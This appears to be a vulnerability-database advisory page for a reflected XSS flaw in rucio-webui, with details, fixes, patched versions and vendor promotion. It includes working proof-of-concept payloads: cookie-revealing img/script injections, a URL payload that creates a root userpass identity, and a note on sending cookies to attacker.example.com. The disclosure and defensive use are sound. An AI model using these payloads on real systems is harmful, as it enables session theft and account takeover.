GHSA-h79m-5jjm-jm4q — rucio-webui
HIGHGHSA-h79m-5jjm-jm4q is a high-severity (CVSS 8.1) Cross-site Scripting (XSS) vulnerability in rucio-webui. A fix is available for rucio-webui — see the affected versions and patch details below.
Rucio WebUI has a Reflected Cross-site Scripting Vulnerability
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-h79m-5jjm-jm4q.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-h79m-5jjm-jm4q plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
rucio-webui🐍rucio-webui🐍rucio-webuiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A reflected Cross-site Scripting vulnerability was located in the rendering of the ExceptionMessage of the WebUI 500 error which could allow attackers to steal login session tokens of users who navigate to a specially crafted URL.
Details
The WebUI error message renders ExceptionMessage (which can contain user-controlled input) as unencoded HTML. Server code that produces the message is in common.py - specifically error_headers -> _error_response -> generate_http_error_flask, which places ExceptionMessage into both response headers and the JSON body. The WebUI client then injects that text into the DOM using unsafe methods (examples in lib/rucio/web/ui/static/*.js such as rule.js, request_rule.js, list_rules.js) with jQuery.html(...) or equivalent, enabling reflected XSS when an attacker-controlled value is included in an error message (e.g. account, attribute, scope).
PoC
- Reflected XSS via account parameter (browse or load URL in WebUI context):
https://127.0.0.1:8443/ui/account_rse_usage?account=%3Cimg%20src=x%20onerror=alert(document.cookie)%3E
Server response (excerpt):
HTTP/1.1 500 INTERNAL SERVER ERROR
ExceptionClass: AccountNotFound
ExceptionMessage: Account <img src=x onerror=alert(document.cookie)> does not exist
Content-Type: application/octet-stream
{"ExceptionClass":"AccountNotFound","ExceptionMessage":"Account <img src=x onerror=alert(document.cookie)> does not exist"}
XSS payload triggering (Displaying session token) when browsing to crafted URL <img width="1210" height="510" alt="XSS payload triggering (Displaying session token) when browsing to crafted URL" src="https://github.com/user-attachments/assets/989a0aed-628d-4f1c-bbfb-de434dab8af6" />
When the WebUI inserts ExceptionMessage into the page with .html(...), the injected <img onerror=...> executes and displays the users' session tokens. Note that this is a PoC only, an attacker would likely attempt to exfiltrate the session token to an external site by setting an encoded version of the cookie as the path of a GET request to an attacker controlled site (i.e GET https://attacker.example.com/rucio/{BASE64_COOKIE}).
- Reflected XSS via account key attribute creation error:
POST /proxy/accounts/pentest/attr/XSS HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Origin: https://127.0.0.1:8443
X-Rucio-Script: webui::-ui-account
{"key":"XSS","value":"<script>alert(document.cookie)</script>"}
XSS payload triggering (Displaying session token) on error when creating account key <img width="1322" height="593" alt="XSS payload triggering (Displaying session token) on error when creating account key" src="https://github.com/user-attachments/assets/151cb0ad-e4f0-498e-954e-be3455ca8a72" />
Server response (excerpt) contains ExceptionMessage with the raw <script> payload; the WebUI renders it unsafely and script executes. Note that this method is less impactful since it's not something that can be triggered with a URL alone, but is listed to show that this issue affects multiple locations.
Impact
Any authenticated WebUI user who follows a crafted link or triggers a request containing attacker-controlled input in a field that causes an error may execute arbitrary JavaScript in the WebUI origin. This vulnerability is more impactful due to the lack of protection of cookies (The Session token does not have HttpOnly attribute) and lack of Content Security Policy that would prevent thrid-party scripts from loading.
Attackers can steal session cookies/tokens or perform actions as the victim like creating a new UserPass identity with an attacker known password.
Example URL to Create UserPass for Root
https://localhost:8443/ui/account_rse_usage?account=%3Cimg%20src%3Dx%20onerror%3D(function()%7Bo%3D%7B%7D%3Bo.method%3D'PUT'%3Bo.credentials%3D'include'%3Bo.headers%3D%7B'X-Rucio-Username'%3A'attackeruser'%2C'X-Rucio-Password'%3A'AttackerPassword123'%2C'X-Rucio-Email'%3A'demo%40example.org'%2C'X-Rucio-Auth-Token'%3Atoken%7D%3Bfetch(String.fromCharCode(47)%2B'identities'%2BString.fromCharCode(47)%2B'root'%2BString.fromCharCode(47)%2B'userpass'%2Co)%7D)()%3E
Account Payload to Create UserPass
<img src=x onerror=(function(){o={};o.method='PUT';o.credentials='include';o.headers={'X-Rucio-Username':'attackeruser','X-Rucio-Password':'AttackerPassword123','X-Rucio-Email':'[email protected]','X-Rucio-Auth-Token':token};fetch(String.fromCharCode(47)+'identities'+String.fromCharCode(47)+'root'+String.fromCharCode(47)+'userpass',o)})()>
Creating identity for Root account via reflected XSS <img width="1558" height="957" alt="Creating identity for Root account via reflected XSS" src="https://github.com/user-attachments/assets/539bfff4-70f3-42c5-b83a-10b5f85d6d44" />
All WebUI users are impacted.
Remediation / Mitigation
Change all client-side insertions of server-provided text from .html(...) to .text() or create text nodes / escape HTML before insertion. Example: replace $('#elem').html(msg) with $('#elem').empty().append($('<span>').text(msg)).
Additionally, consider adding a Content Security Policy (CSP) to mitigate external script execution and set the HTTPOnly flag for session cookies. Also, the API token should not be set in a JavaScript variable as it can be accessed by an attacker even with the HTTPOnly flag set on the session cookie.
Note that many pages were found setting the API token as
tokenin an authenticated response likevar token = "root-root-webui-...:"(See/ui/list_accountsfor example)
References:
- Server functions:
common.py(error_headers,_error_response, generate_http_error_flask) - Example client files to fix:
lib/rucio/web/ui/static/rule.js,lib/rucio/web/ui/static/request_rule.js, list_rules.js - OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | rucio-webui | all versions | 35.8.3pip install --upgrade 'rucio-webui==35.8.3' |
| 🐍PyPI | rucio-webui | ≥ 36.0.0rc1&&< 38.5.4 | 38.5.4pip install --upgrade 'rucio-webui==38.5.4' |
| 🐍PyPI | rucio-webui | ≥ 39.0.0rc1&&< 39.3.1 | 39.3.1pip install --upgrade 'rucio-webui==39.3.1' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for rucio-webui, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update rucio-webui to 35.8.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-h79m-5jjm-jm4q is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-h79m-5jjm-jm4q can be triaged on real exposure rather than presence alone.
Tailored to GHSA-h79m-5jjm-jm4q. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-h79m-5jjm-jm4q in your dependencies?
O3 Security finds GHSA-h79m-5jjm-jm4q across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.